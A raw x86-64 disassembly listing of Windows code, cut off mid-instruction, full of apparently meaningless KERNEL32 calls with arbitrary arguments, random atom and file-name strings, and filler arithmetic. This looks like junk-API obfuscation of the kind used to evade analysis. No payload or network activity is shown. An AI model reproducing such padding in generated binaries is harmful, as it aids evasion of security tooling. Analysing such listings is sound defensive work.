movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa058]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x100], al
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf2c], ax
mov rax, qword [0x14024f2e0]
mov rcx, qword [rsp + 0x9778]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ec0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0xa90
mov r9d, 0x621
mov r8d, 0x1abb
mov edx, 0x1956
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x46ec], eax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cb8], eax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0xab30], rax
mov rax, qword [rsp + 0x9a20]
mov ecx, dword [rsp + 0x4478]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b28], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
movzx ecx, word [rsp + 0x12d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x116c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.QeLghTNBA
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xab38], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa4a8], rax
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x278]
mov byte [rsp + 0x2b0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x95f8]
mov rcx, qword [rsp + 0xa848]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa3b0]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1328], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov dword [rsp + 0x20], 0x2a29
mov r9d, 0x324a
mov r8d, 0x169a
mov edx, 0x2d7a
mov rcx, qword [rsp + 0xa068]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x49ec], eax
xor r9d, r9d
lea r8, [rsp + 0xa928]
mov rdx, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0xa528]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cbc], eax
mov eax, dword [rsp + 0x40d4]
mov ecx, dword [rsp + 0x490c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f04], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x14024f348]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ad]
shl eax, cl
mov byte [0x14024f1f9], al
lea rax, [rsp + 0x974]
mov qword [rsp + 0xab40], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xaaa8], rax
lea rcx, [rsp + 0xa830]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0x8960]
mov rcx, qword [rsp + 0x9c18]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa2f8]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [0x14022fb60]
cqo
mov rcx, qword [rsp + 0x9f68]
idiv qword [rcx]
mov qword [rsp + 0x8118], rax
mov rcx, qword [rsp + 0x8f68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4910], eax
mov rax, qword [rsp + 0xa930]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4acc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93e0]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf1c], ax
mov rax, qword [rsp + 0xa2b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
sar eax, cl
mov word [rsp + 0x10b8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8b18], rax
mov rcx, qword [rsp + 0xa290]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4cc0], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x2b1], al
lea rcx, [0x140232968]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x102c], ax
movzx ecx, word [rsp + 0x106c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0x9780]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9d18]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11d0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa4a8], rax
mov eax, dword [0x14022fba8]
mov dword [rsp + 0x4cc4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xab50], rax
mov rcx, qword [rsp + 0x8e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0xfd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1124], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
lea rcx, str.8oTrPo_SlZj
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x132c], ax
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11fc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.PbAavitgpcF2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xab58], rax
lea rax, [rsp + 0x257]
mov qword [0x14024f1b8], rax
mov rax, qword [rsp + 0xa470]
mov rcx, qword [rsp + 0xa030]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8848], rax
movzx ecx, word [rsp + 0x109c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1270], ax
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [0x14024f3c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x88e8], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x694]
sub eax, ecx
mov rcx, qword [rsp + 0x93e8]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0x9c28]
mov rdx, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4cc8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov qword [rsp + 0x20], 0
mov r9d, 0x3a7b
mov r8d, 0x3601
mov edx, 0xdb
mov rcx, qword [rsp + 0xa368]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4ccc], eax
movsx eax, byte [rsp + 0x271]
movsx ecx, byte [rsp + 0x27a]
add eax, ecx
mov byte [rsp + 0xef], al
lea rax, [0x14024f3be]
mov qword [rsp + 0xab60], rax
movzx ecx, word [rsp + 0x119c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1260], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.bDFbDs_Ay0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1330], ax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8410]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9c88], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [rsp + 0x4890]
mov dword [rsp + 0x4cd0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
movzx eax, byte [0x140221038]
mov rcx, qword [rsp + 0xa028]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x26f], al
movzx eax, byte [rsp + 0x1a3]
movzx ecx, byte [rsp + 0x2a5]
imul eax, ecx
mov rcx, qword [0x14024f1b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x126c]
mov rcx, qword [0x14024f2f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa170]
mov word [rcx], ax
lea rdx, [rsp + 0xaa38]
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cd4], eax
mov rax, qword [rsp + 0x93b8]
mov ecx, dword [rsp + 0x49cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42e8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa5c8], rax
mov eax, dword [rsp + 0x47b8]
mov ecx, dword [rsp + 0x469c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa988]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
mov dword [rsp + 0x4cd8], eax
movsx eax, word [rsp + 0xdc8]
mov rcx, qword [rsp + 0xa940]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1250], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
lea rcx, [rsp + 0xaa90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9748]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9db8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa450]
mov byte [rcx], al
mov rax, qword [0x14024f348]
movzx eax, byte [rax]
mov byte [rsp + 0x2b2], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xab70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov eax, dword [rsp + 0x4904]
mov ecx, dword [rsp + 0x4710]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa238]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb9c]
movzx ecx, word [rsp + 0x11f4]
sar eax, cl
mov rcx, qword [0x14024f200]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1334], ax
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x9ff0]
mov rcx, qword [rsp + 0xa570]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8328], rax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0x9d78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa030]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0x37ff
mov r9d, 0x3430
mov r8d, 0x2daf
mov edx, 0x135c
mov rcx, qword [rsp + 0xa520]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x49dc], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rcx, [rsp + 0x1a678]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9de8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa980], rax
lea rcx, str.M0nDXgMe0gilS88_CVg_DRsot
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1150], ax
mov eax, dword [rsp + 0x4070]
mov dword [rsp + 0x4cdc], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xab78], rax
mov rax, qword [rsp + 0xa3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa650]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rcx, qword [rsp + 0x93a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0x107c]
add eax, ecx
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0xa668]
mov ecx, dword [rsp + 0x3e38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3dd0], eax
movzx eax, byte [rsp + 0x272]
mov byte [rsp + 0x2b3], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rdx, [rsp + 0x9ba0]
mov rcx, qword [rsp + 0xa5e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ce0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xa898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72]
sub eax, ecx
mov byte [0x14022133e], al
lea rdx, [rsp + 0xab80]
mov rcx, qword [rsp + 0x9dc0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49f8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9f58], rax
movzx eax, word [rsp + 0x11d0]
movzx ecx, word [rsp + 0x12dc]
and eax, ecx
mov word [rsp + 0xa3c], ax
mov rax, qword [rsp + 0x9ed8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9218]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a1], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa380], rax
mov rax, qword [rsp + 0xab40]
movzx eax, word [rax]
mov word [rsp + 0x1338], ax
mov rax, qword [rsp + 0x9c80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaac8]
mov qword [rsp + 0xab88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab88]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
lea rax, [0x14022fb68]
mov qword [rsp + 0xab90], rax
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ce4], eax
movsx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0x9e00]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa568]
mov byte [rcx], al
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa208]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9518]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0xa1b0]
cqo
idiv qword [rsp + 0xa6c0]
mov qword [rsp + 0x7d18], rax
mov dword [rsp + 0x20], 0x8cc
mov r9d, 0x5e8
mov r8d, 0x14fc
mov edx, 0x264a
mov rcx, qword [rsp + 0xa938]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a2c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rcx, [rsp + 0x9dc8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0xf5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1140], ax
lea rcx, [rsp + 0xab98]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ff8], rax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov dword [0x14024f1b0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov edx, 0x1bf4
mov rcx, qword [rsp + 0x9758]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c94], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaba0], rax
lea rcx, [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x8e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xff0], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d68], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xa658]
movzx eax, byte [rax]
mov byte [rsp + 0x2b4], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
lea rcx, str.ruP8HfI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x133c], ax
mov rax, qword [rsp + 0x7b18]
mov rcx, qword [rsp + 0xa848]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa198]
mov qword [rcx], rax
mov edx, 0x1464
mov rcx, qword [rsp + 0xaba0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ca4], eax
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0x9690]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xa598]
mov qword [rcx], rax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x107]
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0xa738]
mov ecx, dword [rsp + 0x4b28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa668]
mov dword [rcx], eax
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9ed0]
movsx eax, word [rax]
movsx ecx, word [0x14024f3bc]
add eax, ecx
mov word [rsp + 0xc50], ax
mov rcx, qword [rsp + 0xab70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4c5c], eax
lea rdx, [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xa520]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ce8], eax
mov rax, qword [rsp + 0x9778]
mov ecx, dword [rsp + 0x46e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9778]
mov dword [rcx], eax
lea rcx, [rsp + 0xa9e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x289]
sub eax, ecx
mov byte [0x14022133c], al
lea rax, [0x14024f338]
mov qword [rsp + 0xabb0], rax
mov edx, 0x1592
mov rcx, qword [rsp + 0x9fe8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49c8], eax
mov rax, qword [rsp + 0x89c8]
mov rcx, qword [rsp + 0x9c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9af8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x9a18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9608]
mov qword [rcx], rax
lea rax, [0x14024f208]
mov qword [rsp + 0xabb8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20d60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4808], eax
movsx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
mov rcx, qword [rsp + 0x9598]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x2b5], al
mov rax, qword [rsp + 0x9dd0]
mov ecx, dword [0x14022fb68]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a28]
mov rcx, qword [rsp + 0x9cf8]
mov qword [rsp + 0xabc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4590], eax
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x14c]
mov qword [0x14024f1a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, str.AJZTALOY_2hPmC_bEmJ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1340], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x7b28]
mov qword [rsp + 0xabc8], rax
mov rax, qword [rsp + 0xa688]
mov rcx, qword [rsp + 0x95c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9930], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea rdx, [rsp + 0xa6f0]
mov rcx, qword [rsp + 0xa418]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cec], eax
movzx eax, word [rsp + 0xf00]
mov word [rsp + 0x1344], ax
mov r9d, 1
lea r8, [rsp + 0xa3f8]
mov rdx, qword [rsp + 0xa580]
mov rcx, qword [rsp + 0x8d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b24], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x16c8
mov rcx, qword [rsp + 0x9f90]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x49e4], eax
mov rax, qword [rsp + 0xa5f8]
mov eax, dword [rax]
mov dword [rsp + 0x47b8], eax
mov rax, qword [rsp + 0x99d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
or eax, ecx
mov byte [rsp + 0x153], al
mov r9d, 1
lea r8, [rsp + 0xa580]
mov rdx, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xa348]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b40], eax
mov eax, dword [rsp + 0x491c]
mov rcx, qword [rsp + 0x9d80]
mov qword [rsp + 0xabd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x44d0], eax
movsx eax, word [rsp + 0x1110]
movsx ecx, word [rsp + 0xdb4]
add eax, ecx
mov word [rsp + 0x1198], ax
lea rcx, [rsp + 0x1a528]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 2
lea r8, [rsp + 0x9ba0]
mov rdx, qword [rsp + 0xa3f8]
mov rcx, qword [rsp + 0x9b28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4918], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x1662
xor r8d, r8d
lea rdx, [rsp + 0x9750]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a78], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx ecx, word [rsp + 0x110c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf30], ax
lea rax, [rsp + 0x28d]
mov qword [rsp + 0xabe0], rax
lea rcx, str.9A_F
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1194], ax
lea rcx, str.Sqmiwg.KkC
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x9618]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xabb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14024f2a0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9ae8], rax
lea rdx, [rsp + 0xabe8]
mov rcx, qword [rsp + 0x9958]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a58], eax
movzx ecx, word [rsp + 0x1318]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfcc], ax
lea rcx, [rsp + 0x211e0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4bc4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9ed8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x298], al
mov eax, dword [rsp + 0x4b18]
mov ecx, dword [rsp + 0x3f04]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5f8]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa0a8], rax
lea rax, [rsp + 0x8028]
mov qword [rsp + 0xabf8], rax
lea rdx, [rsp + 0xa178]
mov rcx, qword [rsp + 0xaae0]
